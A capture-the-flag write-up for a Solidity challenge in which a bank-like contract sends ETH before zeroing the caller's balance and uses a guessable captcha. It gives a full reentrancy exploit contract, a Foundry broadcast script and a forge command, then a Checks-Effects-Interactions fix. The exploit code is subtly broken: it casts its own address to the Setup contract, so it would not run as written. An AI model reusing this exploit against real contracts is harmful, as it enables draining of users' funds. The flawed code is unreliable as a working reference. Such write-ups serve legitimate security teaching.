Writeup for Unsolveable Money Captcha
- Hello h4ck3r, welcome to the world of smart contract hacking. In order to understand this writeup you need to understand foundry.
Challenge Description
Oh no! Hackerika just made a super-duper mysterious block chain thingy! I’m not sure what she’s up to, maybe creating a super cool bank app? But guess what? It seems a bit wobbly because it’s asking us to solve a super tricky captcha! What a silly kid! Let’s help her learn how to make a super-duper awesome contract with no head-scratching captcha! XD
Exploit
The below are the source contracts.
- Setup contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import "./Money.sol";
5
6contract Setup {
7 Money public immutable moneyContract;
8 Captcha public immutable captchaContract;
9 constructor() payable {
10 require(msg.value == 100 ether);
11 captchaContract = new Captcha();
12 moneyContract = new Money(captchaContract);
13 moneyContract.save{value: 10 ether}();
14 }
15 function isSolved() public view returns (bool) {
16 return address(moneyContract).balance == 0;
17 }
18}
- Money contract
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3
4import "./Captcha.sol";
5
6contract Money {
7 mapping(address => uint) public balances;
8 Captcha public captchaContract;
9 uint256 public immutable secret;
10
11 constructor(Captcha _captcha) {
12 captchaContract = _captcha;
13 secret = uint256(blockhash(block.prevrandao));
14 }
15
16 function save() public payable {
17 require(msg.value > 0, "You don't have money XP");
18 balances[msg.sender] += msg.value;
19 }
20
21 function load(uint256 userProvidedCaptcha) public {
22 uint balance = balances[msg.sender];
23 require(balance > 0, "You don't have money to load XD");
24
25 uint256 generatedCaptcha = captchaContract.generateCaptcha(secret);
26 require(userProvidedCaptcha == generatedCaptcha, "Invalid captcha");
27
28 (bool success,) = msg.sender.call{value: balance}("");
29 require(success, 'Oh my god, what is that!?');
30 balances[msg.sender] = 0;
31 }
32}
- Captcha contract
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3
4contract Captcha {
5 event CaptchaGenerated(uint256 captcha);
6 function generateCaptcha(uint256 _secret) external returns (uint256) {
7 uint256 captcha = uint256(keccak256(abi.encodePacked(_secret, block.number, block.timestamp)));
8 emit CaptchaGenerated(captcha);
9 return captcha;
10 }
11}
In this challenge our task is make isSolved()
function return true.
1function isSolved() public view returns (bool) {
2 return address(moneyContract).balance == 0;
3}
The isSolved() function returns true if the ETH balane of moneyContract is zero.
Now let’s understand the Money
contract.
The Money contract functions like a basic bank. people can save ETH in the contract and when they need it they can withdraw the ETH.
People can save the ETH by calling the save() function.
1function save() public payable {
2 require(msg.value > 0, "You don't have money XP");
3 balances[msg.sender] += msg.value;
4}
When someone calls this function by sending some ETH, it will update the balance of msg.sender
(caller) by the amount of ETH sent.
Then later whenever the depositer want’s to withdraw their saved ETH they can call the load() function.
1function load(uint256 userProvidedCaptcha) public {
2 uint balance = balances[msg.sender];
3 require(balance > 0, "You don't have money to load XD");
4
5 uint256 generatedCaptcha = captchaContract.generateCaptcha(secret);
6 require(userProvidedCaptcha == generatedCaptcha, "Invalid captcha");
7
8 (bool success,) = msg.sender.call{value: balance}("");
9 require(success, 'Oh my god, what is that!?');
10 balances[msg.sender] = 0;
11}
The function load()
takes an argument of type uint256
(userProvidedCaptcha). It fetches the ETH deposited by the msg.sender
. If the deposited ETH is less than zero, the function call will revert. Otherwise, it generates a captcha by calling generateCaptcha()
in the Captcha contract, passing secret
as an argument. It then compares the generated value with the user-provided captcha. If both match, it transfers the deposited ETH back to the user. After the transfer, it checks if the transfer was successful. If successful, it updates the balance of msg.sender
(caller) to zero.
The key point to observe here is that when the captcha matches, the function first sends the ETH and then updates the balance. This can lead to a reentrancy exploit. If the receiver is a smart contract, when load()
transfers ETH, it will make a low-level call. If the contract has a receive()
function, from within the receive()
function, we can call the load()
function again because our balance is still not updated.
Now let’s look how captcha is generated.
1function generateCaptcha(uint256 _secret) external returns (uint256) {
2 uint256 captcha = uint256(keccak256(abi.encodePacked(_secret, block.number, block.timestamp)));
3 emit CaptchaGenerated(captcha);
4 return captcha;
5}
The function generateCaptcha()
will take an argument of type uint256
(_secret) as input. It generates a captcha by hashing the combined text of _secret
, block number, and block timestamp, and it will return the generated captcha.Since it is a external contract we can also directly call this function to generate captcha.
During deployment, the Setup contract deposits 10 ether into the Money contract, giving the Money contract a balance of 10 ether. If we deposit 10 ether into the Money contract and then call the load()
function, it will trigger the receive()
function in our Exploit contract. In the receive
function, if we include logic to call the load()
function again, the remaining 10 ether in the contract will also be transferred to us. The balance will be updated only after the receive()
function finishes calling load()
repeatedly.
Since the balance is updated to zero after every call, it doesn’t matter how many times we call load()
as long as the contract’s balance is drained. If our logic in the receive()
function calls the load()
function repeatedly, even after the contract balance is drained, all the low-level calls will return false, and the load()
function will revert with the message Oh my god, what is that!?
.
The below is the exploit contract.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {Setup, Money, Captcha} from "src/contracts/Setup.sol";
5
6contract ExploitMoney {
7 Setup public setup;
8 Money public money;
9 Captcha public captcha;
10 uint256 num = 0;
11
12 constructor() payable {
13 require(msg.value == 10 ether);
14 setup = Setup(address(this));
15 money = Money(setup.moneyContract());
16 captcha = Captcha(setup.captchaContract());
17 }
18
19 function Exploit() public {
20 money.save{value: 10 ether}();
21 uint256 secret = money.secret();
22 uint256 gen_captcha = captcha.generateCaptcha(secret);
23 money.load(gen_captcha);
24 }
25
26 receive() external payable {
27 if (num == 0) {
28 num++;
29 uint256 secret = money.secret();
30 uint256 gen_captcha = captcha.generateCaptcha(secret);
31 money.load(gen_captcha);
32 }
33 }
34}
Below is the exploit script to deploy ExploitMoney
and call the Exploit()
function.
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {Script} from "forge-std/Script.sol";
5import {ExploitMoney} from "./ExploitMoney.sol";
6
7contract ExploitMoneyScript is Script {
8 function run() public {
9 vm.startBroadcast();
10 ExploitMoney exploitmoney = new ExploitMoney{value: 10 ether}();
11 exploitmoney.Exploit();
12 vm.stopBroadcast();
13 }
14}
1$ forge script script/ExplotMoneyScript.s.sol:ExploitMoneyScript --rpc-url $RPC_URL --interactive --broadcast
Once you run this script the challenge will be solved.
Flag: TCP1P{retrancy_attack_plus_not_so_random_captcha}
Key Takeaways
Whenever our contract is making an external call to other contracts, we need to follow the CEI (Checks, Effects, Interactions) pattern to prevent any possibility of reentrancy. The below is the CEI pattern of load() function which will prevent the re-entrancy
1 function load(uint256 userProvidedCaptcha) public {
2
3 uint balance = balances[msg.sender];
4 require(balance > 0, "You don't have money to load XD");//Checks
5
6 uint256 generatedCaptcha = captchaContract.generateCaptcha(secret);
7 require(userProvidedCaptcha == generatedCaptcha, "Invalid captcha");//Checks
8 balances[msg.sender] = 0; //Effects
9 (bool success,) = msg.sender.call{value: balance}("");//Interactions
10 require(success, 'Oh my god, what is that!?');
11
12 }
Comments